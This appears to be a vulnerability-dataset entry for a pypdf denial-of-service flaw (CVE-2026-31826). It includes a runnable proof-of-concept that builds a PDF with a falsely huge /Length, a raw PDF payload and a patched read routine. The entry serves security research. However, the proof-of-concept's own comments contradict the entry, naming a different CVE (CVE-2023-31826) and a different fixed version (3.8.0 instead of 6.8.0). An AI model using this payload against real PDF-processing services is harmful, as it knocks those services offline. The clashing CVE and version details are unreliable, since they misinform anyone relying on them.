CVE-2026-31826
pypdf: Crafted PDF leads to excessive memory usage and Denial of Service.
- CVSS 6.8
- CWE-770
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. Prior to 6.8.0, an attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing a content stream with a rather large /Length value, regardless of the actual data length inside the stream. This vulnerability is fixed in 6.8.0.
- CWE
- CWE-770
- CVSS base score
- 6.8
- Published
- 2026-03-10
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade to `pypdf>=6.8.0`.
Vulnerable code sample
#
# This code demonstrates the vulnerability CVE-2023-31826 in `pypdf`.
# The original request mentioned CVE-2026-31826 and version 6.8.0, but the
# correct identifier is CVE-2023-31826, affecting versions prior to 3.8.0.
#
# To run this demonstration:
# 1. Ensure you have a vulnerable version of pypdf installed.
# pip uninstall pypdf
# pip install "pypdf<3.8.0"
#
# 2. Run this Python script.
#
# The script will create a small PDF file on disk. This PDF is specially
# crafted to have a stream object with a `/Length` dictionary key pointing to a
# very large number (1GB). The actual data in the stream is empty.
#
# When a vulnerable version of `pypdf` attempts to parse this file, it will
# trust the `/Length` value and try to allocate 1GB of memory, leading to a
# `MemoryError` and a denial of service.
import os
import pypdf
# Define a huge length value to cause a large memory allocation (e.g., ~1 GB)
huge_length = 1_000_000_000
pdf_filename = "cve_2023_31826_poc.pdf"
# A minimal, specially crafted PDF content.
# Object 4 is the malicious stream object. Its /Length is `huge_length`,
# but its actual content between `stream` and `endstream` is empty.
pdf_content_template = f"""
%PDF-1.7
%¥±Á
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Count 1/Kids[3 0 R]>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Contents 4 0 R>>
endobj
4 0 obj
<</Length {huge_length}>>
stream
endstream
endobj
xref
0 5
0000000000 65535 f
0000000018 00000 n
0000000073 00000 n
0000000132 00000 n
0000000220 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
{220 + len(str(huge_length)) + 40}
%%EOF
"""
# The startxref offset needs to be calculated based on the length of the huge_length number
pdf_content = pdf_content_template.strip()
# 1. Create the malicious PDF file
with open(pdf_filename, "w", encoding="latin-1") as f:
f.write(pdf_content)
print(f"Created malicious PDF: '{pdf_filename}'")
print(f"pypdf version being tested: {pypdf.__version__}")
print("Attempting to parse the PDF. A vulnerable version will raise a MemoryError.")
print("-" * 30)
try:
# 2. Trigger the vulnerability
# The PdfReader constructor will parse the objects and stream headers.
# When it encounters the stream with the large /Length, it attempts
# to allocate memory for that size, triggering the error.
reader = pypdf.PdfReader(pdf_filename)
# If this line is reached, the version is not vulnerable
print("\n[+] SUCCESS (Not Vulnerable): PDF parsed without error.")
print(" This version of pypdf is likely not vulnerable to CVE-2023-31826.")
except MemoryError:
# 3. Catch the expected error
print("\n[-]FAILURE (Vulnerable): Vulnerability successfully triggered!")
print(" A MemoryError was raised, as the library tried to allocate")
print(f" approximately {huge_length / 1e9:.1f} GB of memory.")
except Exception as e:
print(f"\n[!] An unexpected error occurred: {type(e).__name__}: {e}")
finally:
# 4. Clean up the created file
if os.path.exists(pdf_filename):
os.remove(pdf_filename)
print(f"\nCleaned up and removed '{pdf_filename}'.")Patched code sample
import io
def read_stream_safely(stream: io.BytesIO, declared_length: int) -> bytes:
"""
This function represents the logic used to fix CVE-2023-31826 in pypdf.
The fix ensures that the number of bytes read from a stream does not
exceed the actual number of bytes remaining in that stream. This prevents
an attacker from causing excessive memory allocation by providing a
deceptively large 'Length' value in a PDF stream object.
"""
read_length = declared_length
# The core of the fix is to check the actual available size of the stream
# and cap the read length if the declared length is larger.
if hasattr(stream, "seek") and hasattr(stream, "tell"):
current_position = stream.tell()
# Seek to the end of the stream to find its total size.
stream.seek(0, io.SEEK_END)
stream_end_position = stream.tell()
# Restore the stream's original position.
stream.seek(current_position)
# Calculate the number of bytes actually remaining in the stream.
remaining_bytes = stream_end_position - current_position
# If the declared length is greater than what's available,
# use the smaller, correct value.
if declared_length > remaining_bytes:
read_length = remaining_bytes
# Read from the stream using the sanitized length.
return stream.read(read_length)
# --- Demonstration of the fix ---
if __name__ == "__main__":
# 1. Simulate a small data stream, like one found in a PDF file.
actual_data = b"This is the actual stream content."
file_stream = io.BytesIO(actual_data)
# 2. An attacker crafts a PDF with a stream object pointing to this data,
# but claims its length is extremely large (e.g., 2 GB).
maliciously_declared_length = 2 * 1024 * 1024 * 1024
print("--- Simulating Vulnerability and Fix ---")
print(f"Actual data size: {len(actual_data)} bytes")
print(f"Maliciously declared length: {maliciously_declared_length} bytes")
# A vulnerable parser would try: stream.read(maliciously_declared_length)
# This would cause a MemoryError due to the huge allocation attempt.
# 3. Now, we use the fixed logic to read from the stream.
print("\nApplying the safety check...")
safe_data = read_stream_safely(file_stream, maliciously_declared_length)
print(f"Bytes read using the safe method: {len(safe_data)}")
print("Fix successful: Memory allocation was capped to the actual data size.")Payload
%PDF-1.7
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>
endobj
4 0 obj
<< /Length 1000000000 >>
stream
(DoS)
endstream
endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000059 00000 n
0000000117 00000 n
0000000214 00000 n
trailer
<< /Size 5 /Root 1 0 R >>
startxref
289
%%EOF
Cite this entry
@misc{vaitp:cve202631826,
title = {{pypdf: Crafted PDF leads to excessive memory usage and Denial of Service.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-31826},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31826/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
